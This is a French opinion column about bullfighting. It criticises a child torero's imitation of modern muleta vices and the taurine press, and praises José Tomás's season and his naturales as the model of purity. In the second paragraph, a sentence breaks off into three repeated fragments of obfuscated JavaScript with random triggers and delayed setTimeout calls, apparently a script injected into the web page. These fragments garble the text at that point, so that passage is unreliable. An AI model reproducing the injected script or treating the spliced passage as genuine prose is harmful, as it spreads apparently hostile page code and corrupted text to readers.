LE FIDÈLE GARDIEN DE LA PURETÉ

Je restai bouche bé, samedi dernier, dans l’émission « Tendido Cero », devant la désinvolture et la capacité taurine d’un gamin de huit ans, Marcos Pérez, qui laissait libre cours à son vaste répertoire devant un veau encasté et qui revenait sans cesse. C’était un plaisir de le voir faire passer l’infatigable petit novillo avec cette aisance et cette facilité. Cependant il eut quelque chose qui me préoccupa énormément : innocemment, le petit garçon reproduisait finalement tous les vices du toreo moderne à la muleta ; c’est-à-dire, ce toreo de jambe caché, avantageux et faux que les figuras pratiquent avec assiduité sous le prétexte de mieux enchaîner les passes, alors qu’ils devraient dire « de les enchaîner plus facilement ».

L’enfant reproduisait ce qu’il voyait faire aux meilleures toreros et il faisait en croyant que c’était bien, car probablement il avait dû entendre les éloges d’une critique qui accepte tout, sauf quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and son bastion le plus inquisitorial dérouille et s’en prend à José Tomás : être insupportablement libre et en plus un torero exceptionnel, qui ne s’affiche pas sur les médias pour parler de tout et n’importe quoi et ne se laisse embrigader par personne, cela dérange l’égo journalistique.

Ce qui me préoccupe donc, c’est que les dépositaires du toreo du futur, comme cet enfant prodige Marcos Pérez, viennent contaminés par des vices qui devraient être éradiqués d’une fois pour toutes et censurés sans ambages par ceux qui ont pour mission d’exercer la critique taurine (si leur niveau de connaissances le leur permet, bien entendu). Un mauvais passage de témoin, celui que nous sommes entrain de refiler aux générations futures si nous ne prenons pas garde et demeurons indifférents aux abus qui dévaluent et dénaturent la tauromachie.

Se tourner vers la pureté n’est jamais mauvais. C’est bon et nécessaire. Et de nos jours, le fidèle gardien de la pureté s’appelle José Tomás. Sa courte et triomphale saison achevée –l’intensité toujours au-delà de l’extension- avec tout autant de « no hay billetes » lors de ses corridas –sept- et seize oreilles et une queue coupées, qui font une moyenne de plus de deux oreilles par corrida, il doit nous rester, au-delà des chiffres et des statistiques, l’incorruptible pureté de son toreo : sa manière dénudée d’appeler le toro, la cadence et la suavitude qu’il oppose qu’il oppose à la violence débridée des toros, l’emplacement restreint où il lie et enchaîne les passes, la profondeur de son toreo de main basse extrait des profondeurs de l’esprit, la longueur du tracé, le mouvement précis du poignet pour que chaque passe s’achève et ne se confonde pas avec la suivante qui s’enchaîne sans discontinuité…

Cette année, au-delà de l’intériorisation des statuaires, sobres, ajustés, impassibles, solennels, je distinguerais deux passes qui se sont hissées au sommet de sa maestria : la naturelle et celle qu’on appelle « passe du mépris » et qu’il faudrait rebaptiser concernant José Tomás comme celle du « recueillement » par l’intime finesse, comme une prière, introvertie. Cependant, c’est la naturelle de Tomás celle qui a été le sommet de ses faenas de Jerez à Valladolid. Là il faut vraiment prêter très attention pour en profiter et aussi pour en apprendre, même si elle requiert du courage, de la personnalité et une technique qui la placent hors de portée de l’immense majorité. Parmi elles, je distinguerais la série de Jerez, qui restera dans nos mémoires à jamais, et celle de Valladolid de quinze, oui quinze passes où s’ensuivit à la violence décoiffante du toro un intermède de domination pour finir avec cinq naturelles d’une douceur et d’une limpidité qui auraient mérité d’être accompagnées de violons, en cette époque où la musique dans les arènes est si snob.

Pour lui trouver un défaut : sa façon de finaliser les séries, qui pas toujours, mais souvent, a cherché le placement au lieu de rester au même endroit pour exécuter une passe de dos forcée ; ce qui a réduit de quelques degrés l’émotion auparavant atteinte. Or, si Marcos Pérez et ses éducateurs se penchaient sur les vidéos de José Tomás, ce serait très bénéfique pour le garçon et pour la tauromachie.

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